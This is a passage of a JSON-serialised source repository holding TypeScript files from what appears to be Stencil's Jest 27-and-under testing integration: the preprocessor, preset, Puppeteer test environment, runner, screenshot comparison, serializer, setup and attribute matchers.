stencilConfigTesting.prettierPath;\n  }\n  if (stencilConfigTesting.restoreMocks) {\n    jestConfig.restoreMocks = stencilConfigTesting.restoreMocks;\n  }\n\n  jestConfig.testRunner = new Jest27Stencil().getDefaultJestRunner();\n\n  return JSON.stringify(jestConfig);\n}\n\nexport function getProjectListFromCLIArgs(config: d.ValidatedConfig, argv: Config.Argv): Config.Path[] {\n  const projects = argv.projects ? argv.projects : [];\n\n  projects.push(config.rootDir);\n\n  return projects;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-environment.ts",
    "content": "import type { E2EProcessEnv, JestEnvironmentGlobal } from '@stencil/core/internal';\nimport NodeEnvironment from 'jest-environment-node';\n\nimport { connectBrowser, disconnectBrowser, newBrowserPage } from '../../puppeteer/puppeteer-browser';\nimport { JestPuppeteerEnvironmentConstructor } from '../jest-apis';\n\nexport function createJestPuppeteerEnvironment(): JestPuppeteerEnvironmentConstructor {\n  const JestEnvironment = class extends NodeEnvironment {\n    browser: any;\n    pages: any[];\n\n    constructor(config: any) {\n      super(config);\n      // Initialize fields after super() to ensure parent's global is not overwritten\n      // (required for ES2022+ target where field initializers run after super())\n      this.browser = null;\n      this.pages = [];\n      // Debug: Verify this.global is properly set\n    }\n\n    override async setup() {\n      if ((process.env as E2EProcessEnv).__STENCIL_E2E_TESTS__ === 'true') {\n        const globalContext = this.global as unknown as JestEnvironmentGlobal;\n        globalContext.__NEW_TEST_PAGE__ = this.newPuppeteerPage.bind(this);\n        globalContext.__CLOSE_OPEN_PAGES__ = this.closeOpenPages.bind(this);\n      }\n    }\n\n    async newPuppeteerPage() {\n      if (!this.browser) {\n        // load the browser and page on demand\n        this.browser = await connectBrowser();\n      }\n\n      /**\n       * if the user had open pages before, close them all when creating a new one\n       */\n      await this.closeOpenPages();\n\n      const page = await newBrowserPage(this.browser);\n      this.pages.push(page);\n      // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n      const env: E2EProcessEnv = process.env as E2EProcessEnv;\n      if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n        page.setDefaultTimeout(parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10));\n      }\n      return page;\n    }\n\n    async closeOpenPages() {\n      await Promise.all(this.pages.filter((page) => !page.isClosed()).map((page) => page.close()));\n      this.pages.length = 0;\n    }\n\n    override async teardown() {\n      await super.teardown();\n      await this.closeOpenPages();\n      await disconnectBrowser(this.browser);\n      this.browser = null;\n    }\n\n    override getVmContext() {\n      return super.getVmContext();\n    }\n  };\n\n  return JestEnvironment;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-facade.ts",
    "content": "import { JestFacade } from '../jest-facade';\nimport { createJestPuppeteerEnvironment } from './jest-environment';\nimport { jestPreprocessor } from './jest-preprocessor';\nimport { preset } from './jest-preset';\nimport { createTestRunner } from './jest-runner';\nimport { runJest } from './jest-runner';\nimport { runJestScreenshot } from './jest-screenshot';\nimport { jestSetupTestFramework } from './jest-setup-test-framework';\n\n/**\n * `JestFacade` implementation for communicating between this directory's version of Jest and Stencil\n */\nexport class Jest27Stencil implements JestFacade {\n  getJestCliRunner() {\n    return runJest;\n  }\n\n  getRunJestScreenshot() {\n    return runJestScreenshot;\n  }\n\n  getDefaultJestRunner() {\n    return 'jest-jasmine2';\n  }\n\n  getCreateJestPuppeteerEnvironment() {\n    return createJestPuppeteerEnvironment;\n  }\n\n  getJestPreprocessor() {\n    return jestPreprocessor;\n  }\n\n  getCreateJestTestRunner() {\n    return createTestRunner;\n  }\n\n  getJestSetupTestFramework() {\n    return jestSetupTestFramework;\n  }\n\n  getJestPreset() {\n    return preset;\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-preprocessor.ts",
    "content": "import { ts } from '@stencil/core/compiler';\nimport type { Diagnostic, TranspileOptions } from '@stencil/core/internal';\nimport { loadTypeScriptDiagnostic, normalizePath } from '@utils';\n\nimport { transpile } from '../../test-transpile';\n\ntype Jest26CacheKeyOptions = { instrument: boolean; rootDir: string };\ntype Jest26Config = { instrument: boolean; rootDir: string };\ntype Jest27TransformOptions = { config: Jest26Config };\n\n/**\n * Type guard to differentiate Jest 27 `TransformOptions` from those found in Jest 26 and below\n * @param obj the entity to evaluate\n * @returns `true` if the `obj` is a `Jest27TransformOptions`, false otherwise\n */\nconst isJest27TransformOptions = (obj: unknown): obj is Jest27TransformOptions => {\n  return obj != null && typeof obj === 'object' && obj.hasOwnProperty('config');\n};\n\n/**\n * Constant used for cache busting when the contents of this file have changed. When modifying this file, it's advised\n * this value be monotonically incremented.\n */\nconst CACHE_BUSTER = 7;\n\n/**\n * Fields containing the consuming library's `tsconfig.json#options` entry. The first is the original representation,\n * where the second is the stringified version. These fields are cached to prevent unnecessary I/O & repetitive\n * stringification of the read options. Note that this caching does not persist across multiple Jest workers (I.E.\n * every Jest worker will read the `tsconfig.json` file and stringify it's `options` entry.\n */\nlet _tsCompilerOptions: ts.CompilerOptions | null = null;\nlet _tsCompilerOptionsKey: string | null = null;\n\nexport const jestPreprocessor = {\n  /**\n   * Transforms a file to CommonJS to be used by Jest. The API for `process` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v27.2 docs were referenced (the most recent available).\n   *\n   * This function attempts to support several versions of Jest (v23 through v27). Support for earlier versions of Jest\n   * will be removed in a future major version of Stencil.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param jestConfig the jest configuration when called by Jest 26 and lower. This parameter is folded into\n   * `transformOptions` when called by Jest 27+ as a top level `config` property. Calls to this function from Jest 27+\n   * will have a `Jest27TransformOptions` shape\n   * @param transformOptions an object containing the various transformation options. In Jest 27+ this parameter occurs\n   * third in this function signature (and no fourth parameter is formally accepted)\n   * @returns the transformed file contents if the file should be transformed. returns the original source otherwise\n   */\n  process(\n    sourceText: string,\n    sourcePath: string,\n    jestConfig: Jest26Config | Jest27TransformOptions,\n    transformOptions?: Jest26Config,\n  ): string {\n    /**\n     * As of Jest 27, `jestConfig` changes its shape (as it's been moved into `transformOptions`). To preserve\n     * backwards compatibility, we allow Jest to pass 4 arguments and check the shape of the third and fourth arguments\n     * to run Jest properly (in lieu of a global Jest version available to us). Support for this functionality will be\n     * removed in a future major version of Stencil.\n     */\n    if (isJest27TransformOptions(jestConfig)) {\n      // being called from Jest 27+, backfill `transformOptions`\n      transformOptions = jestConfig.config;\n    }\n\n    /**\n     * At this point, `transformOptions` should be a truthy value:\n     * - if we're running Jest 27, it should have been assigned in the previous conditional\n     * - if we're running Jest 26 and under, it should have been provided to us\n     */\n    if (!transformOptions) {\n      throw 'Unable to find Jest transformation options.';\n    }\n\n    if (shouldTransform(sourcePath, sourceText)) {\n      const opts: TranspileOptions = {\n        file: sourcePath,\n        currentDirectory: transformOptions.rootDir,\n      };\n\n      const tsCompilerOptions: ts.CompilerOptions | null = getCompilerOptions(transformOptions.rootDir);\n      if (tsCompilerOptions) {\n        if (tsCompilerOptions.baseUrl) {\n          opts.baseUrl = tsCompilerOptions.baseUrl;\n        }\n        if (tsCompilerOptions.paths) {\n          opts.paths = tsCompilerOptions.paths;\n        }\n        if (tsCompilerOptions.jsx !== undefined) {\n          opts.jsx = tsCompilerOptions.jsx;\n        }\n        // Override jsxImportSource to use internal/testing for Jest tests\n        // This ensures TypeScript emits imports from the testing bundle instead of jsx-runtime\n        if (tsCompilerOptions.jsxImportSource) {\n          opts.jsxImportSource = '@stencil/core/internal/testing';\n        }\n      }\n\n      const results = transpile(sourceText, opts);\n\n      const hasErrors = results.diagnostics.some((diagnostic) => diagnostic.level === 'error');\n\n      if (results.diagnostics && hasErrors) {\n        const msg = results.diagnostics.map(formatDiagnostic).join('\\n\\n');\n        throw new Error(msg);\n      }\n\n      return results.code;\n    }\n\n    return sourceText;\n  },\n\n  /**\n   * Generates a key used to cache the results of transforming a file. This helps avoid re-processing a file via the\n   * `transform` function unnecessarily (when no changes have occurred). The API for `getCacheKey` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v27.2 docs were referenced (the most recent available).\n   *\n   * This function attempts to support several versions of Jest (v23 through v27). Support for earlier versions of Jest\n   * will be removed in a future major version of Stencil.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param jestConfigStr a stringified version of the jest configuration when called by Jest 26 and lower. This\n   * parameter takes the shape of `transformOptions` when called by Jest 27+.\n   * @param transformOptions an object containing the various transformation options. In Jest 27+ this parameter occurs\n   * third in this function signature (and no fourth parameter is formally accepted)\n   * @returns the key to cache a file with\n   */\n  getCacheKey(\n    sourceText: string,\n    sourcePath: string,\n    jestConfigStr: string | Jest27TransformOptions,\n    transformOptions?: Jest26CacheKeyOptions,\n  ): string {\n    /**\n     * As of Jest 27, jestConfigStr is no longer an accepted argument (as it's been moved into `transformOptions`). To\n     * preserve backwards compatibility, we allow Jest to pass 4 arguments and check the shape of the third and fourth\n     * arguments to run Jest properly (in lieu of a global Jest version available to us). Support for this\n     * functionality will be removed in a future major version of Stencil.\n     */\n    if (isJest27TransformOptions(jestConfigStr)) {\n      // being called from Jest 27+, backfill `transformOptions`\n      transformOptions = jestConfigStr.config;\n    }\n\n    /**\n     * At this point, `transformOptions` should be a truthy value:\n     * - if we're running Jest 27, it should have been assigned in the previous conditional\n     * - if we're running Jest 26 and under, it should have been provided to us\n     */\n    if (!transformOptions) {\n      throw 'Unable to find Jest transformation options.';\n    }\n\n    if (!_tsCompilerOptionsKey) {\n      const opts = getCompilerOptions(transformOptions.rootDir);\n      _tsCompilerOptionsKey = JSON.stringify(opts);\n    }\n\n    const key = [\n      process.version,\n      _tsCompilerOptionsKey,\n      sourceText,\n      sourcePath,\n      jestConfigStr,\n      !!transformOptions.instrument,\n      CACHE_BUSTER,\n    ];\n\n    return key.join(':');\n  },\n};\n\nfunction formatDiagnostic(diagnostic: Diagnostic) {\n  let m = '';\n\n  if (diagnostic.relFilePath) {\n    m += diagnostic.relFilePath;\n    if (typeof diagnostic.lineNumber === 'number') {\n      m += ':' + diagnostic.lineNumber + 1;\n      if (typeof diagnostic.columnNumber === 'number') {\n        m += ':' + diagnostic.columnNumber;\n      }\n    }\n    m += '\\n';\n  }\n\n  m += diagnostic.messageText;\n\n  return m;\n}\n\n/**\n * Read the TypeScript compiler configuration file from disk\n * @param rootDir the location to search for the config file\n * @returns the configuration, or `null` if the file cannot be found\n */\nfunction getCompilerOptions(rootDir: string): ts.CompilerOptions | null {\n  if (_tsCompilerOptions) {\n    return _tsCompilerOptions;\n  }\n\n  if (typeof rootDir !== 'string') {\n    return null;\n  }\n\n  rootDir = normalizePath(rootDir);\n\n  const tsconfigFilePath = ts.findConfigFile(rootDir, ts.sys.fileExists);\n  if (!tsconfigFilePath) {\n    return null;\n  }\n\n  const tsconfigResults = ts.readConfigFile(tsconfigFilePath, ts.sys.readFile);\n\n  if (tsconfigResults.error) {\n    throw new Error(formatDiagnostic(loadTypeScriptDiagnostic(tsconfigResults.error)));\n  }\n\n  const parseResult = ts.parseJsonConfigFileContent(\n    tsconfigResults.config,\n    ts.sys,\n    rootDir,\n    undefined,\n    tsconfigFilePath,\n  );\n\n  _tsCompilerOptions = parseResult.options;\n  return _tsCompilerOptions;\n}\n\n/**\n * Determines if a file should be transformed prior to being consumed by Jest, based on the file name and its contents\n * @param filePath the path of the file\n * @param sourceText the contents of the file\n * @returns `true` if the file should be transformed, `false` otherwise\n */\nexport function shouldTransform(filePath: string, sourceText: string): boolean {\n  const ext = (filePath.split('.').pop() ?? '').toLowerCase().split('?')[0];\n\n  if (ext === 'ts' || ext === 'tsx' || ext === 'jsx') {\n    // typescript extensions (to include .d.ts)\n    return true;\n  }\n  if (ext === 'mjs') {\n    // es module extensions\n    return true;\n  }\n  if (ext === 'js') {\n    // there may be false positives here\n    // but worst case scenario a commonjs file is transpiled to commonjs\n    if (sourceText.includes('import ') || sourceText.includes('import.') || sourceText.includes('import(')) {\n      return true;\n    }\n    if (sourceText.includes('export ')) {\n      return true;\n    }\n  }\n  if (ext === 'css') {\n    // convert a standard css file into an NodeJS ready file\n    return true;\n  }\n  return false;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-preset.ts",
    "content": "import type { Config } from '@jest/types';\nimport { join } from 'path';\n\n/**\n * The path's declared below are relative. Specifically, they are relative to the location of this file after\n * compilation of the Stencil compiler has completed.\n */\nconst testingDir = __dirname;\nconst rootDir = join(testingDir, '..');\nconst internalDir = join(rootDir, 'internal');\n\n// NOTE: if you change this, also change compiler/transpile.ts. Search for 'mod_extensions_jest' to find other comments\n// like it.\nconst moduleExtensions = ['ts', 'tsx', 'js', 'mjs', 'jsx'];\nconst moduleExtensionRegexp = '(' + moduleExtensions.join('|') + ')';\n\nconst preset: Config.InitialOptions = {\n  moduleFileExtensions: [...moduleExtensions, 'json', 'd.ts'],\n  moduleNameMapper: {\n    '^@stencil/core/cli$': join(rootDir, 'cli', 'index.js'),\n    '^@stencil/core/compiler$': join(rootDir, 'compiler', 'stencil.js'),\n    '^@stencil/core/internal$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/internal/app-data$': join(internalDir, 'app-data', 'index.cjs'),\n    '^@stencil/core/internal/app-globals$': join(internalDir, 'app-globals', 'index.js'),\n    '^@stencil/core/internal/testing$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/mock-doc$': join(rootDir, 'mock-doc', 'index.cjs'),\n    '^@stencil/core/sys$': join(rootDir, 'sys', 'node', 'index.js'),\n    '^@stencil/core/testing$': join(testingDir, 'index.js'),\n    '^@stencil/core$': join(internalDir, 'testing', 'index.js'),\n  },\n  setupFilesAfterEnv: [join(testingDir, 'jest-setuptestframework.js')],\n  testEnvironment: join(testingDir, 'jest-environment.js'),\n  testPathIgnorePatterns: ['/.cache', '/.stencil', '/.vscode', '/dist', '/node_modules', '/www'],\n  testRegex: '(/__tests__/.*|\\\\.?(test|spec))\\\\.' + moduleExtensionRegexp + '$',\n  transform: {\n    '^.+\\\\.(ts|tsx|jsx|css|mjs)$': join(testingDir, 'jest-preprocessor.js'),\n  },\n  watchPathIgnorePatterns: ['^.+\\\\.d\\\\.ts$'],\n};\n\nexport { preset };\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-runner.ts",
    "content": "import type { AggregatedResult } from '@jest/test-result';\nimport type * as d from '@stencil/core/internal';\nimport { default as TestRunner } from 'jest-runner';\n\nimport type { ConfigFlags } from '../../../cli/config-flags';\nimport { setScreenshotEmulateData } from '../../puppeteer/puppeteer-emulate';\nimport { JestTestRunnerConstructor } from '../jest-apis';\nimport { buildJestArgv, getProjectListFromCLIArgs } from './jest-config';\n\nexport async function runJest(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  let success = false;\n\n  try {\n    // set all of the emulate configs to the process.env to be read later on\n    const emulateConfigs = getEmulateConfigs(config.testing, config.flags);\n    env.__STENCIL_EMULATE_CONFIGS__ = JSON.stringify(emulateConfigs);\n    env.__STENCIL_ENV__ = JSON.stringify(config.env);\n    env.__STENCIL_TRANSPILE_PATHS__ = config.transformAliasedImportPaths ? 'true' : 'false';\n\n    if (config.flags.ci || config.flags.e2e) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '30000';\n    } else {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '15000';\n    }\n    if (config.flags.devtools) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '300000000';\n    }\n    config.logger.debug(`default timeout: ${env.__STENCIL_DEFAULT_TIMEOUT__}`);\n\n    // build up our args from our already know list of args in the config\n    const jestArgv = buildJestArgv(config);\n    // build up the project paths, which is basically the app's root dir\n    const projects = getProjectListFromCLIArgs(config, jestArgv);\n\n    // run the @jest/core with our data rather than letting the\n    // @jest/core parse the args itself\n    const { runCLI } = require('@jest/core');\n    const cliResults = (await runCLI(jestArgv, projects)) as {\n      results: AggregatedResult;\n    };\n\n    success = !!cliResults.results.success;\n  } catch (e) {\n    config.logger.error(`runJest: ${e}`);\n  }\n\n  return success;\n}\n\n/**\n * Creates a Stencil test runner\n * @returns the test runner\n */\nexport function createTestRunner(): JestTestRunnerConstructor {\n  class StencilTestRunner extends TestRunner {\n    override async runTests(\n      tests: { context: any; path: string }[],\n      watcher: any,\n      onStart: any,\n      onResult: any,\n      onFailure: any,\n      options: any,\n    ) {\n      const env = process.env as d.E2EProcessEnv;\n\n      // filter out only the tests the flags said we should run\n      tests = tests.filter((t) => includeTestFile(t.path, env));\n\n      if (env.__STENCIL_SCREENSHOT__ === 'true' && env.__STENCIL_EMULATE_CONFIGS__) {\n        // we're doing e2e screenshots, so let's loop through\n        // each of the emulate configs for each test\n\n        // get the emulate configs from the process env\n        // and parse the emulate config data\n        const emulateConfigs = JSON.parse(env.__STENCIL_EMULATE_CONFIGS__) as d.EmulateConfig[];\n\n        // loop through each emulate config to re-run the tests per config\n        for (let i = 0; i < emulateConfigs.length; i++) {\n          const emulateConfig = emulateConfigs[i];\n\n          // reset the environment for each emulate config\n          setScreenshotEmulateData(emulateConfig, env);\n\n          // run the test for each emulate config\n          await super.runTests(tests, watcher, onStart, onResult, onFailure, options);\n        }\n      } else {\n        // not doing e2e screenshot tests\n        // so just run each test once\n        await super.runTests(tests, watcher, onStart, onResult, onFailure, options);\n      }\n    }\n  }\n\n  return StencilTestRunner;\n}\n\nexport function includeTestFile(testPath: string, env: d.E2EProcessEnv) {\n  testPath = testPath.toLowerCase().replace(/\\\\/g, '/');\n\n  const hasE2E = testPath.includes('.e2e.') || testPath.includes('/e2e.');\n  if (env.__STENCIL_E2E_TESTS__ === 'true' && hasE2E) {\n    // keep this test if it's an e2e file and we should be testing e2e\n    return true;\n  }\n\n  if (env.__STENCIL_SPEC_TESTS__ === 'true' && !hasE2E) {\n    // keep this test if it's a spec file and we should be testing unit tests\n    return true;\n  }\n  return false;\n}\n\nexport function getEmulateConfigs(testing: d.TestingConfig, flags: ConfigFlags): d.EmulateConfig[] {\n  let emulateConfigs = testing.emulate?.slice() ?? [];\n\n  if (typeof flags.emulate === 'string') {\n    const emulateFlag = flags.emulate.toLowerCase();\n\n    emulateConfigs = emulateConfigs.filter((emulateConfig) => {\n      if (typeof emulateConfig.device === 'string' && emulateConfig.device.toLowerCase() === emulateFlag) {\n        return true;\n      }\n\n      if (typeof emulateConfig.userAgent === 'string' && emulateConfig.userAgent.toLowerCase().includes(emulateFlag)) {\n        return true;\n      }\n\n      return false;\n    });\n  }\n\n  return emulateConfigs;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { join } from 'path';\n\nimport { runJest } from './jest-runner';\n\nexport async function runJestScreenshot(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  config.logger.debug(`screenshot connector: ${config.testing.screenshotConnector}`);\n\n  const ScreenshotConnector = require(config.testing.screenshotConnector!) as any;\n  const connector: d.ScreenshotConnector = new ScreenshotConnector();\n\n  // for CI, let's wait a little longer than locally before taking the screenshot\n  const pixelmatchModulePath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'screenshot', 'pixel-match.js');\n  config.logger.debug(`pixelmatch module: ${pixelmatchModulePath}`);\n\n  const initTimespan = config.logger.createTimeSpan(`screenshot, initBuild started`, true);\n  await connector.initBuild({\n    buildId: createBuildId(),\n    buildMessage: createBuildMessage(),\n    buildTimestamp: Date.now(),\n    appNamespace: config.namespace,\n    rootDir: config.rootDir,\n    cacheDir: config.cacheDir,\n    packageDir: join(config.sys.getCompilerExecutingPath(), '..', '..'),\n    updateMaster: !!config.flags.updateScreenshot,\n    logger: config.logger,\n    allowableMismatchedPixels: config.testing.allowableMismatchedPixels,\n    allowableMismatchedRatio: config.testing.allowableMismatchedRatio,\n    pixelmatchThreshold: config.testing.pixelmatchThreshold,\n    waitBeforeScreenshot: config.testing.waitBeforeScreenshot,\n    pixelmatchModulePath: pixelmatchModulePath,\n  });\n\n  if (!config.flags.updateScreenshot) {\n    await connector.pullMasterBuild();\n  }\n\n  initTimespan.finish(`screenshot, initBuild finished`);\n\n  const dataPromises = await Promise.all([await connector.getMasterBuild(), await connector.getScreenshotCache()]);\n\n  const masterBuild = dataPromises[0];\n  const screenshotCache = dataPromises[1];\n\n  env.__STENCIL_SCREENSHOT_BUILD__ = connector.toJson(masterBuild, screenshotCache);\n\n  const testsTimespan = config.logger.createTimeSpan(`screenshot, tests started`, true);\n\n  const passed = await runJest(config, env);\n\n  testsTimespan.finish(`screenshot, tests finished, passed: ${passed}`);\n\n  try {\n    const completeTimespan = config.logger.createTimeSpan(`screenshot, completeTimespan started`, true);\n    let results = await connector.completeBuild(masterBuild);\n    completeTimespan.finish(`screenshot, completeTimespan finished`);\n\n    if (results) {\n      const publishTimespan = config.logger.createTimeSpan(`screenshot, publishBuild started`, true);\n      results = await connector.publishBuild(results);\n      publishTimespan.finish(`screenshot, publishBuild finished`);\n\n      if (config.flags.updateScreenshot) {\n        // updating the master screenshot\n        if (results.currentBuild && typeof results.currentBuild.previewUrl === 'string') {\n          config.logger.info(config.logger.magenta(results.currentBuild.previewUrl));\n        }\n      } else {\n        // comparing the screenshot to master\n        if (results.compare) {\n          try {\n            await connector.updateScreenshotCache(screenshotCache, results);\n          } catch (e) {\n            config.logger.error(e);\n          }\n\n          config.logger.info(`screenshots compared: ${results.compare.diffs.length}`);\n\n          if (typeof results.compare.url === 'string') {\n            config.logger.info(config.logger.magenta(results.compare.url));\n          }\n        }\n      }\n    }\n  } catch (e) {\n    if (e instanceof Error) {\n      config.logger.error(e, e.stack);\n    } else {\n      config.logger.error(e);\n    }\n  }\n\n  return passed;\n}\n\nfunction createBuildId() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2);\n  fmDt += ('0' + d.getDate()).slice(-2);\n  fmDt += ('0' + d.getHours()).slice(-2);\n  fmDt += ('0' + d.getMinutes()).slice(-2);\n  fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return fmDt;\n}\n\nfunction createBuildMessage() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '' + '-';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2) + '-';\n  fmDt += ('0' + d.getDate()).slice(-2) + ' ';\n  fmDt += ('0' + d.getHours()).slice(-2) + ':';\n  fmDt += ('0' + d.getMinutes()).slice(-2) + ':';\n  fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return `Build: ${fmDt}`;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-serializer.ts",
    "content": "import { MockNode, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nconst print = (val: unknown): string => {\n  // we coerce here because Jest wants `val` to be unknown\n  return serializeNodeToHtml(val as MockNode | Node, {\n    serializeShadowRoot: true,\n    prettyHtml: true,\n    outerHtml: true,\n  });\n};\n\nconst test = (val: any): boolean => {\n  return val !== undefined && val !== null && (val instanceof HTMLElement || val instanceof MockNode);\n};\n\nexport const HtmlSerializer = {\n  print,\n  test,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-setup-test-framework.ts",
    "content": "import { BUILD, Env } from '@app-data';\nimport type * as d from '@stencil/core/internal';\nimport { E2EProcessEnv } from '@stencil/core/internal';\nimport {\n  modeResolutionChain,\n  resetPlatform,\n  setErrorHandler,\n  stopAutoApplyChanges,\n} from '@stencil/core/internal/testing';\nimport { MockDocument, MockNode, MockWindow, setupGlobal, teardownGlobal } from '@stencil/core/mock-doc';\n\nimport { setupMockFetch } from '../../mock-fetch';\nimport { resetBuildConditionals } from '../../reset-build-conditionals';\nimport { HtmlSerializer } from './jest-serializer';\nimport { expectExtend } from './matchers';\n\ndeclare const global: d.JestEnvironmentGlobal;\n\nexport function jestSetupTestFramework() {\n  global.resourcesUrl = '/build';\n\n  expect.extend(expectExtend);\n  expect.addSnapshotSerializer(HtmlSerializer);\n\n  setupGlobal(global);\n  setupMockFetch(global);\n\n  beforeEach(() => {\n    // reset the platform for this new test\n    resetPlatform();\n    setErrorHandler(undefined);\n    resetBuildConditionals(BUILD);\n    modeResolutionChain.length = 0;\n  });\n\n  afterEach(async () => {\n    stopAutoApplyChanges();\n\n    // Remove each node from the mocked DOM\n    // Without this step, a component's `disconnectedCallback`\n    // will not be called since this only happens when a node is removed,\n    // not if the window is destroyed.\n    //\n    // So, we do this outside the mocked window/DOM teardown\n    // because this operation is really only necessary in the testing\n    // context so any \"cleanup\" operations in the `disconnectedCallback`\n    // can happen to prevent testing errors with async code in the component\n    //\n    // We only care about removing all the nodes that are children of the 'body' tag/node.\n    // This node is a child of the `html` tag which is the 2nd child of the document (hence\n    // the `1` index).\n    const bodyNode = (\n      ((global as any).window as MockWindow)?.document as unknown as MockDocument\n    )?.childNodes?.[1]?.childNodes?.find((ref) => ref.nodeName === 'BODY');\n    bodyNode?.childNodes?.forEach(removeDomNodes);\n\n    teardownGlobal(global);\n    global.resourcesUrl = '/build';\n  });\n\n  afterAll(async () => {\n    if (global.__CLOSE_OPEN_PAGES__) {\n      await global.__CLOSE_OPEN_PAGES__();\n    }\n  });\n\n  const jasmineEnv = (jasmine as any).getEnv();\n  if (jasmineEnv != null) {\n    jasmineEnv.addReporter({\n      specStarted: (spec: any) => {\n        global.currentSpec = spec;\n      },\n    });\n  }\n\n  global.screenshotDescriptions = new Set();\n\n  // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n  const env: E2EProcessEnv = process.env as E2EProcessEnv;\n\n  if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n    const time = parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10);\n    jest.setTimeout(time * 1.5);\n    // eslint-disable-next-line jest/no-jasmine-globals -- these will be removed when we migrate to jest-circus\n    jasmine.DEFAULT_TIMEOUT_INTERVAL = time;\n  }\n  if (typeof env.__STENCIL_ENV__ === 'string') {\n    const stencilEnv = JSON.parse(env.__STENCIL_ENV__);\n    Object.assign(Env, stencilEnv);\n  }\n}\n\n/**\n * Recursively removes all child nodes of a passed node starting with the\n * furthest descendant and then moving back up the DOM tree.\n *\n * @param node The mocked DOM node that will be removed from the DOM\n */\nexport function removeDomNodes(node: MockNode | undefined | null) {\n  if (node == null) {\n    return;\n  }\n\n  if (!node.childNodes?.length) {\n    node.remove();\n  }\n\n  node.childNodes?.forEach(removeDomNodes);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/attributes.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualAttribute(elm: HTMLElement, expectAttrName: string, expectAttrValue: string) {\n  if (!elm) {\n    throw new Error(`expect toMatchAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toMatchAttribute value is not an element`);\n  }\n\n  let receivedAttrValue = elm.getAttribute(expectAttrName);\n\n  if (expectAttrValue != null) {\n    expectAttrValue = String(expectAttrValue);\n  }\n\n  if (receivedAttrValue != null) {\n    receivedAttrValue = String(receivedAttrValue);\n  }\n\n  const pass = expectAttrValue === receivedAttrValue;\n\n  return {\n    message: () =>\n      `expected attribute ${expectAttrName} \"${expectAttrValue}\" to ${pass ? 'not ' : ''}equal \"${receivedAttrValue}\"`,\n    pass: pass,\n  };\n}\n\nexport function toEqualAttributes(elm: HTMLElement, expectAttrs: { [attrName: string]: any }) {\n  if (!elm) {\n    throw new Error(`expect toEqualAttributes value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toEqualAttributes value is not an element`);\n  }\n\n  const attrNames = Object.keys(expectAttrs);\n\n  const pass = attrNames.every((attrName) => {\n    let expectAttrValue = expectAttrs[attrName];\n    if (expectAttrValue != null) {\n      expectAttrValue = String(expectAttrValue);\n    }\n    return elm.getAttribute(attrName) === expectAttrValue;\n  });\n\n  return {\n    message: () =>\n      `expected attributes to ${pass ? 'not ' : ''}equal ${attrNames\n        .map((a) => `[${a}=\"${expectAttrs[a]}\"]`)\n        .join(', ')}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveAttribute(elm: HTMLElement, expectAttrName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toHaveAttribute value is not an element`);\n  }\n\n  const pass = elm.hasAttribute(expectAttrName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have the attribute \"${expectAttrName}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/class-list.ts",
